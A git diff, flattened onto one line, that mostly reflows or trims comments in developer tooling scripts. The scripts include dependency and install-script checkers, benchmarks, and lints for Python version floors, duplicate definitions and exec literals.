ln, content = m.group(1), int(m.group(2)), m.group(3)for spec_match in re.finditer(pattern, content):spec = spec_match.group(1)- # Resolve to package name (strip subpath).if spec.startswith("@"):parts = spec.split("/", 2)pkg_name = "/".join(parts[:2]) if len(parts) >= 2 else spec@@ -666,7 +637,6 @@ def find_imports_without_decl(head_pkg: dict) -> list[tuple[str, int, str]]:pkg_name = spec.split("/", 1)[0]if pkg_name in decl:continue- # Internal aliases like '@/foo' or builtin names.if pkg_name == "@":continueif pkg_name in {@@ -722,11 +692,10 @@ def find_usage(pkg: str) -> list[Hit]:for file, lineno, content in rows:if pkg == "playwright" and PIP_PLAYWRIGHT.search(content):continue- # Try the single-line classify first.kind = classify(pkg, file, content)if not kind:- # Multi-line window (25 lines each side) so Prettier's- # one-import-per-line formatting still pairs `import` with `from`.+ # Multi-line window (25 lines each side) so Prettier's one-import-per-line formatting still pairs `import`+ # with `from`.lines = _read_file(file)lo = max(0, lineno - 26)hi = min(len(lines), lineno + 25)@@ -755,8 +724,7 @@ def find_command_usage(pkg: str) -> list[Hit]:"""bins = sorted(_candidate_bin_names(pkg), key = len, reverse = True)esc_bins = "|".join(re.escape(b) for b in bins)- # grep ERE pattern. Built without f-strings to avoid clashing with the- # POSIX `[[:space:]]` literals.+ # Built without f-strings to avoid clashing with the POSIX `[[:space:]]` literals.grep_pat = (r"(^|[[:space:]:;&|(\[])"r"(npx[[:space:]]+|pnpm[[:space:]]+exec[[:space:]]+"@@ -886,9 +854,8 @@ def main() -> int:return 2head_lock = read_pkg_file(head_lock_path)- # Base lockfile is best-effort: only used to recover the bin -> package- # mapping for packages the PR removes, so a scripts.biome cite still fires- # when @biomejs/biome is dropped from the head lockfile.+ # Base lockfile is best-effort: it only recovers the bin -> package mapping for packages the PR removes, so a+ # scripts.biome cite still fires when @biomejs/biome is dropped from the head lockfile.if args.base_lock:base_lock_path = Path(args.base_lock)base_lock = read_pkg_file(base_lock_path) if base_lock_path.exists() else {}@@ -899,8 +866,8 @@ def main() -> int:head_names = all_decl_names(head_pkg)removed = sorted(base_names - head_names)- # Hygiene checks compute up front so they run on both the removal-present- # and removal-empty paths (so --strict fails on hygiene-only issues).+ # Hygiene checks compute up front so they run on both the removal-present and removal-empty paths (so --strict fails+ # on hygiene-only issues).sync_warns = lockfile_root_sync(head_pkg, head_lock)types_warns = types_orphan_warnings(head_pkg)missing_imports = find_imports_without_decl(head_pkg)@@ -961,9 +928,8 @@ def main() -> int:print()reachable_paths = reachable_from_head(head_pkg, head_lock) if head_lock else set()- # bin -> package map from the head lockfile, layering base-lockfile entries- # for removed packages so scripts.biome still flags when @biomejs/biome is- # dropped (head lockfile no longer maps it).+ # bin -> package map from the head lockfile, layering base-lockfile entries for removed packages so scripts.biome+ # still flags when @biomejs/biome is dropped (head lockfile no longer maps it).bin_to_pkg = build_bin_to_pkg(head_lock) if head_lock else {}base_bin_to_pkg = build_bin_to_pkg(base_lock) if base_lock else {}removed_set = set(removed)@@ -987,9 +953,7 @@ def main() -> int:failures: list[tuple[str, list[Hit]]] = []for name in removed:hits = find_usage(name)- # CLI invocations in shell scripts / workflows / Dockerfiles.hits.extend(find_command_usage(name))- # @types/X is "used" if X is referenced as a type or runtime import.hits.extend(find_types_runtime_usage(name, tsc_types))for cite in script_refs.get(name, []):hits.append(Hit("studio/frontend/package.json", 0, "script_bin", cite))@@ -997,8 +961,7 @@ def main() -> int:hits.append(Hit("studio/frontend/package.json", 0, "pkg_json_field", cite))top, nested = reachable_install_paths(name)importable_top_level = top is not None- # Bare specifier `name` resolves ONLY to top-level node_modules/<name>;- # nested copies are invisible to src/ files.+ # A bare specifier resolves ONLY to top-level node_modules/<name>; nested copies are invisible to src/.if hits and not importable_top_level:status = "FAIL"elif hits and importable_top_level:diff --git a/scripts/check_new_install_scripts.py b/scripts/check_new_install_scripts.pyindex 604d9b9f90c..78b29fda43d 100644--- a/scripts/check_new_install_scripts.py+++ b/scripts/check_new_install_scripts.py@@ -53,9 +53,6 @@ class Finding:)-# Lockfile parsing.--def _strip_nm_prefix(key: str) -> str:"""Convert a v2/v3 `packages` key into a bare package name (leaf after last `node_modules/`)."""if not key:@@ -76,7 +73,6 @@ def _collect_install_script_entries(lock: dict) -> dict[str, str]:seen: dict[str, str] = {}version = lock.get("lockfileVersion")- # v2 / v3: flat `packages` map.packages = lock.get("packages") or {}for key, entry in packages.items():if key == "" or not isinstance(entry, dict):@@ -124,8 +120,6 @@ def _load_lockfile(path: Path) -> dict:# Registry lookup for the postinstall command body (best-effort).--def _fetch_registry_scripts(name: str, version: str) -> dict[str, str] | None:"""Return {hook: command} for lifecycle hooks in registry metadata; None on any error (never raises)."""safe_name = urllib.parse.quote(name, safe = "@/")@@ -150,9 +144,6 @@ def _fetch_registry_scripts(name: str, version: str) -> dict[str, str] | None:return keep or None-# Diff.--def diff_new_install_scripts(base_lock: dict, head_lock: dict) -> list[Finding]:base = _collect_install_script_entries(base_lock)head = _collect_install_script_entries(head_lock)@@ -183,9 +174,6 @@ def diff_new_install_scripts(base_lock: dict, head_lock: dict) -> list[Finding]:return findings-# CLI.--def main(argv: list[str] | None = None) -> int:parser = argparse.ArgumentParser(description = (diff --git a/scripts/diffusion_bench.py b/scripts/diffusion_bench.pyindex 20105d89296..5aa33f72303 100644--- a/scripts/diffusion_bench.py+++ b/scripts/diffusion_bench.py@@ -41,7 +41,8 @@ from datetime import datetime, timezonefrom pathlib import Pathfrom typing import Any, Optional-# Backend root on sys.path so `core.inference.diffusion` imports as the server does (deferred into main() so --help never triggers torch).+# Backend root on sys.path so `core.inference.diffusion` imports as the server does (deferred into main() so --help+# never triggers torch)._BACKEND_ROOT = Path(__file__).resolve().parent.parent / "studio" / "backend"if str(_BACKEND_ROOT) not in sys.path:sys.path.insert(0, str(_BACKEND_ROOT))@@ -223,7 +224,6 @@ def _run(args: argparse.Namespace) -> dict[str, Any]:gen_metrics: dict[str, Any] = {}try:- # ── load ──_cuda_reset_peak()t0 = time.time()backend.begin_load(@@ -421,7 +421,8 @@ def _compare(args: argparse.Namespace) -> int:print(" refusing noisy comparison (pass --force-compare to override).", flush = True)return 2- # PSNR vs the stored reference; reference_png is absolute, so fall back to reference.png beside the baseline.+ # PSNR vs the stored reference;+ # reference_png is absolute, so fall back to reference.png beside the baseline.ref_png = Path(baseline.get("accuracy", {}).get("reference_png", ""))if not ref_png.is_file():ref_png = baseline_path.parent / "reference.png"diff --git a/scripts/image_speedmem_bench.py b/scripts/image_speedmem_bench.pyindex 63bb4210567..33260493245 100644--- a/scripts/image_speedmem_bench.py+++ b/scripts/image_speedmem_bench.py@@ -58,7 +58,6 @@ PROMPTS = ["A photograph of an astronaut riding a horse on the surface of the moon, detailed, 8k",]-# Production defaults per family (diffusion_families.default_generation_params)._FAMILIES: dict[str, dict[str, Any]] = {"qwen-image": {"repo": "Qwen/Qwen-Image", "family": "qwen-image"},"flux.1-dev": {"repo": "black-forest-labs/FLUX.1-dev", "family": "flux.1"},@@ -66,7 +65,6 @@ _FAMILIES: dict[str, dict[str, Any]] = {"sdxl": {"repo": "stabilityai/stable-diffusion-xl-base-1.0", "family": "sdxl"},}-# te speed attn cache_CONFIGS: dict[str, dict[str, Any]] = {# bit-exact reference: everything off / native / dense"reference": dict(te = "none", speed = "off", attn = "native", cache = "off"),@@ -408,7 +406,6 @@ def main() -> None:)gen_peak = _peak_gb()- # Persist / score against the reference.lpips_vals: list[float] = []if args.config == "reference" and not (args.no_epc or args.unarm_cache):np.savez_compressed(ref_npz, *arrs)diff --git a/scripts/int8_linear_probe.py b/scripts/int8_linear_probe.pyindex b86e132771d..10ec1546b0f 100644--- a/scripts/int8_linear_probe.py+++ b/scripts/int8_linear_probe.py@@ -14,7 +14,6 @@ from pathlib import Pathsys.path.insert(0, str(Path(__file__).resolve().parent.parent / "studio" / "backend"))-# (label, transformer_class, base_repo)MODELS = [("flux.1-dev", "FluxTransformer2DModel", "black-forest-labs/FLUX.1-dev"),("qwen-image", "QwenImageTransformer2DModel", "Qwen/Qwen-Image"),@@ -73,7 +72,6 @@ def main() -> int:print(f" SUSPECT (M=1 risk) distinct patterns:")for (key, i, o, tag), cnt in sorted(seen.items()):print(f" [{cnt:>3}x] {key:55s} {i:>6}->{o:<6} [{tag}]")- # a few non-suspect names for contrast (the real FLOP linears)good = [nfor n, m in selecteddiff --git a/scripts/lint_backend_python_floor.py b/scripts/lint_backend_python_floor.pyindex 770dbfb9962..2a01bfbf6e9 100644--- a/scripts/lint_backend_python_floor.py+++ b/scripts/lint_backend_python_floor.py@@ -38,58 +38,40 @@ from pathlib import PathREPO = Path(__file__).resolve().parents[1]WORKFLOW = REPO / ".github" / "workflows" / "studio-backend-ci.yml"-# Both trees the matrix legs actually execute. studio-backend-ci lists 'unsloth_cli/**'-# in its own paths filter and runs `pytest unsloth_cli/tests` as a step on every leg, so-# a post-floor stdlib name on a shipped CLI path was covered by the old 3.10 leg exactly-# as a backend one was. Scanning only the backend would have moved that coverage to the-# push to main while looking like it had replaced it.+# Both trees the matrix legs actually execute.+# studio-backend-ci lists 'unsloth_cli/**' in its own paths filter and runs `pytest unsloth_cli/tests` as a step on+# every leg, so a post-floor stdlib name on a shipped CLI path was covered by the old 3.10 leg exactly as a backend+# one was. Scanning only the backend would have moved that coverage to the push to main while looking like it had+# replaced it.ROOTS = (REPO / "studio" / "backend",REPO / "unsloth_cli",)-# Everything shipped under studio/backend is scanned. The first version of this listed the-# packages instead, and that is exactly the wrong shape for a floor check: it named core,-# utils and routes and silently missed 116 files, including all of hub, plugins, models,-# storage, auth, picker and state, plus _platform_compat.py which main.py imports directly.+# Everything shipped under studio/backend is scanned.+# The first version of this listed the packages instead, and that is exactly the wrong shape for a floor check: it named+# core, utils and routes and silently missed 116 files, including all of hub, plugins, models, storage, auth, picker and+# state, plus _platform_compat.py which main.py imports directly.# It also named "loggers.py", which is a directory, so that entry matched nothing at all.-# A check that covers most of the tree reads exactly like one that covers all of it.-#-# So the tree is the input and only vendored code comes out, pinned to its own support-# range. Tests are IN, which the first version had wrong on the theory that they are not-# shipped: shipping is not the question, execution is. studio-backend-ci runs-# `pytest tests/` from studio/backend on every leg, so a 3.11 API in a test file is-# executed by the 3.10 leg exactly as one in a shipped module is. With the pull request-# down to a single 3.13 leg, that leg and this lint would both pass and the failure would-# arrive on the push to main, which is the whole gap this exists to close.+# studio-backend-ci runs `pytest tests/` from studio/backend on every leg, so a 3.11 API in a test file is executed by+# the 3.10 leg exactly as one in a shipped module is.+# With the pull request down to a single 3.13 leg, that leg and this lint would both pass and the failure would arrive+# on the push to main, which is the whole gap this exists to close.EXCLUDE_PARTS = ("vendor", "node_modules", "__pycache__", ".venv")-# An above-floor symbol reached deliberately is suppressed AT THE SITE, with `# novermin`-# and a comment saying why, not by dropping its file from the scan. Excluding the file-# would leave everything else in it permanently unchecked, which is the same mistake as-# the package allowlist this replaced, one level down.-#-# The one live case is locale.getencoding() in the data-designer plugin's state_store,-# inside a try/except AttributeError with a pre-3.11 fallback. vermin reads names rather-# than control flow, so it cannot see that the guard is already there.-#-# Comment parsing is therefore ON, which is what makes the annotation work.++# An above-floor symbol reached deliberately is suppressed AT THE SITE, with `# novermin` and a comment saying why, not+# by dropping its file from the scan.+# The one live case is locale.getencoding() in the data-designer plugin's state_store, inside a try/except+# AttributeError with a pre-3.11 fallback.# The floor is DECLARED, in the workflow, next to where the legs used to be.-#-# It used to be derived from the matrix, which was right while the matrix ran several-# interpreters and became self-defeating the moment it ran one: a 3.13-only matrix would-# have moved the floor to 3.13 and left this check asserting that code written for 3.13-# runs on 3.13. Deriving it from pyproject.toml is not the answer either, because that-# says >= 3.9 and is not true today: unsloth/models/_utils.py already uses-# dataclasses.dataclass(kw_only) and tempfile.TemporaryDirectory(ignore_cleanup_errors),-# both 3.10, so a 3.9 target fails on the tree as it stands. That mismatch is worth-# fixing, in its own change, and this lint is what makes it visible rather than what-# hides it.-#-# So it is a number, written down once, in the workflow that would otherwise have tested-# it, and read from there.+# Deriving it from the matrix became self-defeating once the matrix ran one interpreter: a 3.13-only matrix would move+# the floor to 3.13 and leave this asserting that code written for 3.13 runs on 3.13. Deriving it from pyproject.toml+# is not the answer either, because that says >= 3.9 and is not true today: unsloth/models/_utils.py already uses+# tempfile.TemporaryDirectory(ignore_cleanup_errors), which is 3.10, so a 3.9 target fails on the tree as it stands.+# So it is a number, written down once, in the workflow that would otherwise have tested it, and read from there.FLOOR_KEY = "PYTHON_FLOOR"diff --git a/scripts/lint_duplicate_definitions.py b/scripts/lint_duplicate_definitions.pyindex e5bc3a38e50..4d7c4a87c21 100644--- a/scripts/lint_duplicate_definitions.py+++ b/scripts/lint_duplicate_definitions.py@@ -153,8 +153,8 @@ def _overload_names_in(body, base) -> set:visit(getattr(node, field, []) or [])for handler in getattr(node, "handlers", []) or []:visit(handler.body)- # Same blind spot as _branch_bodies, mirrored: an alias bound inside a match case- # would go unseen and its @t.overload defs would read as a duplicate.+ # Same blind spot as _branch_bodies, mirrored: an alias bound inside a match case would go unseen and its+ # @t.overload defs would read as a duplicate.for case in getattr(node, "cases", []) or []:visit(case.body)@@ -182,10 +182,8 @@ def _branch_bodies(node):for handler in getattr(node, "handlers", []) or []:if handler.body:yield handler.body- # A match keeps its branches in `cases[*].body`, so the loop above walked straight past- # them and two copies of one def inside a SINGLE case scanned clean. Each case is a- # branch on the same terms as an if/else arm: yielded separately, never compared with a- # sibling case, where one definition apiece is the ordinary conditional idiom.+ # A match keeps its branches in `cases[*].body`, so the loop above walked straight past them and two copies of one+ # def inside a SINGLE case scanned clean.for case in getattr(node, "cases", []) or []:if case.body:yield case.body@@ -231,38 +229,36 @@ def _defined_names(node, overloads):if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):if _is_overload_def(node, overloads):return []- # ONE ACCESSOR OF EACH KIND IS LEGITIMATE; A SECOND OF THE SAME KIND IS NOT. Discarding- # every accessor meant a getter followed by two copies of the same `@value.setter`- # scanned clean, with the later setter silently replacing the earlier one -- which is- # exactly the merge damage this gate is for. Keying on the KIND keeps the getter and the- # setter apart while making two setters collide.+ # ONE ACCESSOR OF EACH KIND IS LEGITIMATE; A SECOND OF THE SAME KIND IS NOT. Discarding every accessor meant a+ # getter followed by two copies of the same `@value.setter` scanned clean, with the later setter silently+ # replacing the earlier one -- which is exactly the merge damage this gate is for. Keying on the KIND keeps the+ # getter and the setter apart while making two setters collide.kind = _accessor_kind(node)if kind:return [(f"{node.name}.{kind}", f"{kind} accessor")]return [(node.name, "def")]if isinstance(node, ast.ClassDef):return [(node.name, "class")]- # `X: int = 1` is an AnnAssign, not an Assign, and a typed module-level constant is- # common in this repo (MAX_FUSED_SIZE: int = 65536). Duplicating one is the same bug.+ # `X: int = 1` is an AnnAssign, not an Assign, and a typed module-level constant is common in this repo+ # (MAX_FUSED_SIZE: int = 65536).# EVERY target, not a lone one: a chained `N = K = 256` (which this repo writes, in- # tests/test_grouped_gemm_optional_gather_indices.py) parks two names in one statement,- # and requiring exactly one target dropped both, so duplicating the line rebound both- # while the scan reported clean.+ # tests/test_grouped_gemm_optional_gather_indices.py) parks two names in one statement, and requiring exactly one+ # target dropped both, so duplicating the line rebound both while the scan reported clean.if isinstance(node, ast.Assign):targets, value = node.targets, node.valueelif isinstance(node, ast.AnnAssign) and node.value is not None:targets, value = [node.target], node.valueelse:return []- # `X = frozenset(X)` / `X = X + (...)` transforms a constant rather than redefining- # it. Only a value computed WITHOUT the old one replaces it, decided per name so- # that `A, B = B, A` exempts both while `A, B = 1, 2` exempts neither.+ # `X = frozenset(X)` / `X = X + (...)` transforms a constant rather than redefining it.+ # Only a value computed WITHOUT the old one replaces it, decided per name so that `A, B = B, A` exempts both while+ # `A, B = 1, 2` exempts neither.referenced = {sub.id for sub in ast.walk(value) if isinstance(sub, ast.Name)}names = []for target in targets:for name in _constant_targets(target):- # One statement binding a name twice (`X = X = 1`) still binds it once, so it- # is not the two-copies damage this looks for.+ # One statement binding a name twice (`X = X = 1`) still binds it once, so it is not the two-copies damage+ # this looks for.if name not in referenced and name not in names:names.append(name)return [(name, "constant") for name in names]@@ -291,13 +287,12 @@ def _scope_duplicates(body, scope, out, overloads, module_overloads) -> None:else:seen[name] = (node.lineno, kind)if isinstance(node, ast.ClassDef):- # The class gets the MODULE's aliases plus any it binds itself -- never the- # enclosing class's. "The scope of names defined in a class block is limited to- # the class block", and a class body resolves an unbound name in the GLOBAL- # namespace, so a nested class does not see `import typing as t` from the class- # around it. Passing the outer set down exempted `@t.overload` in the inner class- # where `t` is whatever the MODULE bound it to, and two copies of one def scanned- # clean -- widening the exemption is the one direction that hides merge damage.+ # The class gets the MODULE's aliases plus any it binds itself, never the enclosing class's. "The scope of+ # names defined in a class block is limited to the class block", and a class body resolves an unbound name+ # in the GLOBAL namespace, so a nested class does not see `import typing as t` from the class around it.+ # Passing the outer set down exempted `@t.overload` in the inner class where `t` is whatever the MODULE+ # bound it to, and two copies of one def scanned clean; widening the exemption is the one direction that+ # hides merge damage._scope_duplicates(node.body,f"{scope}{node.name}.",@@ -306,8 +301,8 @@ def _scope_duplicates(body, scope, out, overloads, module_overloads) -> None:module_overloads,)for nested in _branch_bodies(node):- # A control-flow branch is not a scope, so it keeps the aliases of the body it- # sits in -- only a class body starts over.+ # A control-flow branch is not a scope, so it keeps the aliases of the body it sits in -- only a class body+ # starts over._scope_duplicates(nested, scope, out, overloads, module_overloads)@@ -328,13 +323,13 @@ def _import_duplicates(body, scope, out) -> None:elif isinstance(node, ast.Import):module = None # the source is per-alias for a plain import, not per-statementelse:- # Class bodies are scanned too: two `from m import x` inside one class bind x- # twice in that scope exactly as they would at module level.+ # Class bodies are scanned too: two `from m import x` inside one class bind x twice in that scope exactly+ # as they would at module level.if isinstance(node, ast.ClassDef):_import_duplicates(node.body, f"{scope}{node.name}.", out)- # Each control-flow branch on its own: `try: import x / except: import x` is the- # fallback idiom and stays clean, while two of the same import INSIDE one branch is- # the ordinary duplicate this looks for and used to be skipped with the branch.+ # Each control-flow branch on its own: `try: import x / except: import x` is the fallback idiom and stays+ # clean, while two of the same import INSIDE one branch is the ordinary duplicate this looks for and used+ # to be skipped with the branch.for nested in _branch_bodies(node):_import_duplicates(nested, scope, out)continue@@ -342,19 +337,10 @@ def _import_duplicates(body, scope, out) -> None:if alias.name == "*":continue# `import a.b` binds `a`, not `a.b`; only an `as` clause binds the dotted name.- # Using `alias.asname` raw here instead missed `import urllib.parse` followed by- # `import urllib.parse as urllib`, which silently repoints `urllib` from the- # package to the submodule.+ # Using `alias.asname` raw here instead missed `import urllib.parse` followed by `import urllib.parse as+ # urllib`, which silently repoints `urllib` from the package to the submodule.source = module if module is not None else alias.namebound = alias.asname or (alias.name if module is not None else alias.name.split(".")[0])- # Keyed on the BOUND NAME, because that is what gets shadowed, with one carve-out- # for the case where the name was never chosen: an IMPLICIT binding takes whatever- # the source happens to be called, so two of them from different sources are the- # ordinary `import urllib.parse` / `import urllib.request` and `from a import x` /- # `from b import x` shapes and stay legitimate. An EXPLICIT `as` alias is a name the- # author picked, so a second binding of it is always dead -- which is how- # `import urllib.parse as client` beside `import urllib.request as client` slipped- # past a key that carried the source.implicit = alias.asname is None# EVERY IMPLICIT SOURCE IS REMEMBERED, not just the first. Keeping one entry per# bound name and skipping the legitimate different-source case left `seen` pointing@@ -381,14 +367,11 @@ def _import_duplicates(body, scope, out) -> None:out.append(Finding(node.lineno,- # The emitted identity must mirror the detection key. Keyed on the- # bound name alone, two DIFFERENT plain-import duplicates both read- # as `import:None:x`, so compare mode charged a newly introduced one- # against a pre-existing counter entry and passed.- #- # DELIMITED, because `scope` ends in a dot and `source` may contain- # them: a module-level `from A.m import x` and a `from m import x`- # inside `class A` both spelled `import:A.m:x`, so compare mode let a+ # The emitted identity must mirror the detection key. Keyed on the bound name alone, two+ # DIFFERENT plain-import duplicates both read as `import:None:x`, so compare mode charged a+ # newly introduced one against a pre-existing counter entry and passed. DELIMITED, because+ # `scope` ends in a dot and `source` may contain them: a module-level `from A.m import x` and+ # a `from m import x` inside `class A` both spelled `import:A.m:x`, so compare mode let a# branch swap one for the other and charged the new one to the old.f"import:{scope}|{source}:{bound}",f"{scope}{bound} is imported {where}",@@ -452,10 +435,10 @@ def _rename_map(before: str, after: str):branch that only moves a file carrying one of the duplicates already on main would thenbe blocked for a duplicate it did not write."""- # -z, because git quotes and backslash-escapes any non-ASCII path by default- # (core.quotePath), and the escaped spelling matches nothing. Under -z each rename is- # three NUL-terminated records, "R100", old, new -- the status is its own field rather- # than tab-joined to the paths.+ # -z, because git quotes and backslash-escapes any non-ASCII path by default (core.quotePath), and the escaped+ # spelling matches nothing.+ # Under -z each rename is three NUL-terminated records, "R100", old, new -- the status is its own field+ # rather than tab-joined to the paths.listed = _git(["diff", "--name-status", "-z", "-M", "--diff-filter=R", before, after])if listed.returncode != 0:return {}@@ -480,36 +463,27 @@ def _iter_paths(targets):_SELF_TEST_CASES = [- # (expected finding count, source)- # 1. The real artefact: two top-level copies of one def, differing only in comments.(1,"def toggle(page):\n # click it\n page.click('#r')\n\n\n""def toggle(page):\n # open the panel\n page.click('#r')\n",),- # 2. The other real one: a name repeated inside a single ImportFrom.(1, "from floor_table import latest_attempt_rows, refuse_collisions, latest_attempt_rows\n"),- # 3. A constant defined twice.(1, "TOGGLE_JS = '() => 1'\nOTHER = 2\nTOGGLE_JS = '() => 2'\n"),- # 4. A class, and a method inside one.(1, "class A:\n pass\n\n\nclass A:\n pass\n"),(1, "class A:\n def go(self):\n pass\n\n def go(self):\n pass\n"),- # 5. The same name imported twice from the same module by two statements.(1, "from a import x\nfrom a import x\n"),# 6. A stray paren inside a comment must not truncate the scan (the regex version did).(1, "def go(): # takes (a, b\n pass\n\n\ndef go():\n pass\n"),- # 7. A conflict marker left in the tree does not parse, and that is a finding.(1, "<<<<<<< HEAD\ndef go():\n pass\n"),- # 8. A typed constant is an AnnAssign, and duplicating one is the same bug.(1, "MAX_FUSED_SIZE: int = 65536\nMAX_FUSED_SIZE: int = 131072\n"),(1, "REGISTRY: dict = {}\nOTHER = 1\nREGISTRY = {'a': 1}\n"),- # 9. Two aliases from one module landing on the same bound name: the second wins and- # the first is dead, which is the silent half of this bug.+ # Two aliases from one module landing on the same bound name: the second wins and the first is dead, which is the+ # silent half of this bug.(1, "from m import x as value\nfrom m import y as value\n"),(1, "from m import x as value, y as value\n"),- # 10. A class body is a scope too, for imports as well as for defs.+ # A class body is a scope too, for imports as well as for defs.(1, "class A:\n from m import x\n from m import x\n"),- # 11. A duplicated @property getter. Exempting @property hid two complete copies.(1,"class A:\n @property\n def v(self):\n return 1\n\n"@@ -521,11 +495,11 @@ _SELF_TEST_CASES = [" def v(self):\n return 1\n\n @functools.cached_property\n"" def v(self):\n return 2\n",),- # 12. Constants declared together in one tuple target: duplicating the line rebinds- # every one of them, so each is its own finding.+ # Constants declared together in one tuple target: duplicating the line rebinds every one of them, so each is its+ # own finding.(4, "B, H, N, D = 1, 16, 50345, 128\nB, H, N, D = 2, 3, 4, 5\n"),- # 13. A plain import binds the ROOT of its dotted path, so this repoints `urllib` from- # the package to the submodule and the first binding is dead.+ # A plain import binds the ROOT of its dotted path, so this repoints `urllib` from the package to the submodule and+ # the first binding is dead.(1, "import urllib.parse\nimport urllib.parse as urllib\n"),# Negative controls: each of these is correct code and must report nothing.(0, "if FAST:\n def go():\n pass\nelse:\n def go():\n pass\n"),@@ -554,14 +528,14 @@ _SELF_TEST_CASES = [(0, "import urllib.parse as parse\nimport urllib.request as request\n"),(0, "value = 1\nvalue = 2\n"),(0, "import os\nfrom a import b\n\nX = 1\n\n\ndef go():\n return os, b, X\n"),- # A chained assignment binds every name in the chain, so duplicating the line rebinds- # every one of them. `N = K = 256` is written in this repo; requiring a single target- # dropped the whole statement and the duplicate went unreported.+ # A chained assignment binds every name in the chain, so duplicating the line rebinds every one of them. `N = K =+ # 256` is written in this repo; requiring a single target dropped the whole statement and the duplicate went+ # unreported.(2, "N = K = 256\nN = K = 512\n"),(0, "N = K = 256\nM = 512\n"),(0, "X = X = 1\n"), # one statement, one live binding- # Overload signatures reached through an import alias are still overloads. Reporting- # them is a FALSE POSITIVE that blocks CI on a conventional typing pattern.+ # Overload signatures reached through an import alias are still overloads. Reporting them is a FALSE POSITIVE that+ # blocks CI on a conventional typing pattern.(0,"import typing as t\[email protected]\ndef f(x: int) -> int: ...\n"@@ -572,27 +546,27 @@ _SELF_TEST_CASES = ["from typing import overload as ov\n@ov\ndef f(x: int) -> int: ...\n""@ov\ndef f(x: str) -> str: ...\ndef f(x):\n return x\n",),- # ...but the alias has to be typing's. `t` bound to anything else is not an overload.+ # ...but the alias has to be typing's.(1, "import types as t\[email protected]\ndef f(x): ...\[email protected]\ndef f(x): ...\n"),- # One explicit alias, two sources: the second silently replaces the first, so the first- # is a dead binding. Keying on the source made the two look unrelated.+ # One explicit alias, two sources: the second silently replaces the first, so the first is a dead binding. Keying+ # on the source made the two look unrelated.(1, "import urllib.parse as client\nimport urllib.request as client\n"),(1, "from os import path as v\nfrom sys import modules as v\n"),- # The shape that legitimately binds one name twice, and must stay legitimate: two plain- # imports of different submodules, both binding the package root.+ # The shape that legitimately binds one name twice, and must stay legitimate: two plain imports of different+ # submodules, both binding the package root.(0, "import urllib.parse\nimport urllib.request\n"),# Still caught: the same package root rebound from the package to a submodule.(1, "import urllib.parse\nimport urllib.parse as urllib\n"),- # EVERY implicit source is remembered, not just the first. Keeping one entry per bound name- # compared the third statement with the FIRST source, which looked like the legitimate- # different-source shape again, so an exact repeat went unreported.+ # EVERY IMPLICIT SOURCE IS REMEMBERED, not just the first.+ # Keeping one entry per bound name compared the third statement with the FIRST source, which looked like the+ # legitimate different-source shape again, so an exact repeat went unreported.(1, "from a import x\nfrom b import x\nfrom b import x\n"),(1, "import urllib.parse\nimport urllib.request\nimport urllib.request\n"),(0, "from a import x\nfrom b import x\nfrom c import x\n"),# An explicit alias collides with a name already bound implicitly, in either order.(1, "import urllib.parse as urllib\nimport urllib.request\n"),- # A typing alias bound INSIDE a function is not in effect at module level, so it may not- # exempt a module-level decorator. Widening the exemption is what hides merge damage.+ # A typing alias bound INSIDE a function is not in effect at module level, so it may not exempt a module-level+ # decorator. Widening the exemption is what hides merge damage.(1,"import types as t\n\n\ndef helper():\n import typing as t\n return t\n\n\n"@@ -625,10 +599,9 @@ _SELF_TEST_CASES = [" @t.overload\n def f(self, x: int): ...\n"" @t.overload\n def f(self, x: str): ...\n def f(self, x):\n return x\n",),- # ...but that alias stops at ITS OWN class body. A class nested inside it resolves an- # unbound name in the MODULE namespace, not in the class around it, so `@t.overload` in- # the inner class is `types.overload` here and the two copies are ordinary merge damage.- # Handing the outer class's aliases down exempted both and the scan reported clean.+ # ...but that alias stops at ITS OWN class body.+ # A class nested inside it resolves an unbound name in the MODULE namespace, not in the class around it, so+ # `@t.overload` in the inner class is `types.overload` here and the two copies are ordinary merge damage.(1,"import types as t\n\n\nclass Outer:\n import typing as t\n\n class Inner:\n"@@ -642,16 +615,16 @@ _SELF_TEST_CASES = [" @t.overload\n def f(self, x: int): ...\n"" @t.overload\n def f(self, x: str): ...\n",),- # ...and a MODULE-level alias reaches every class body at every depth, so narrowing the- # inner class to its own bindings alone would be a false positive on correct code.+ # ...and a MODULE-level alias reaches every class body at every depth, so narrowing the inner class to its own+ # bindings alone would be a false positive on correct code.(0,"import typing as t\n\n\nclass Outer:\n class Inner:\n"" @t.overload\n def f(self, x: int): ...\n"" @t.overload\n def f(self, x: str): ...\n",),- # Each control-flow branch scanned on its own: duplicated INSIDE one branch is merge damage,- # one per branch is the conditional idiom.+ # Each control-flow branch scanned on its own: duplicated INSIDE one branch is merge damage, one per branch is the+ # conditional idiom.(1,"import os\nif os.name:\n def go():\n return 1\n def go():\n return 2\n",@@ -665,8 +638,8 @@ _SELF_TEST_CASES = [(1, "try:\n import json\n import json\nexcept ImportError:\n pass\n"),]-# Guarded, not inlined above: `match` is 3.10 syntax and this tool supports 3.9, where-# ast.parse raises SyntaxError and every case below would report a parse finding instead.+# Guarded, not inlined above: `match` is 3.10 syntax and this tool supports 3.9, where ast.parse raises SyntaxError and+# every case below would report a parse finding instead.if sys.version_info >= (3, 10):_SELF_TEST_CASES += [(@@ -736,16 +709,14 @@ def main() -> int:renames = _rename_map(args.before, args.after) if args.before else {}for path in paths:if args.before:- # Read both revisions out of git rather than the working tree. On a- # pull_request event the checkout is refs/pull/N/merge, which is neither end- # of the range being judged.+ # Read both revisions out of git rather than the working tree.+ # On a pull_request event the checkout is refs/pull/N/merge, which is neither end of the range being judged.after = _revision_findings(args.after, str(path))if after is None:continue # not present at the head revision (deleted, or renamed away)- # Only follow a rename back to a path that was ITSELF Python. Renaming- # `mod.txt` to `mod.py` is what makes those definitions active code, so the- # duplicates in it are introduced by this branch, not inherited: mapping onto- # the non-Python original consumed them as pre-existing.+ # Only follow a rename back to a path that was ITSELF Python. Renaming `mod.txt` to+ # `mod.py` is what makes those definitions active code, so the duplicates in it are+ # introduced by this branch, not inherited.old = renames.get(str(path), str(path))before = _revision_findings(args.before, old) if old.endswith(".py") else None# A file the branch ADDS has no before side, so every finding in it is new.diff --git a/scripts/lint_exec_literals.py b/scripts/lint_exec_literals.pyindex 22c2d3ccf92..b5a6f3f7df1 100644--- a/scripts/lint_exec_literals.py+++ b/scripts/lint_exec_literals.py@@ -35,19 +35,19 @@ import jsonimport sysfrom pathlib import Path-# Only the bare names. `re.compile(pattern)` and `model.eval()` are not these builtins,-# and matching on the attribute reported 69 of them across the two repositories.+# Only the bare names. `re.compile(pattern)` and `model.eval()` are not these builtins, and matching on the attribute+# reported 69 of them across the two 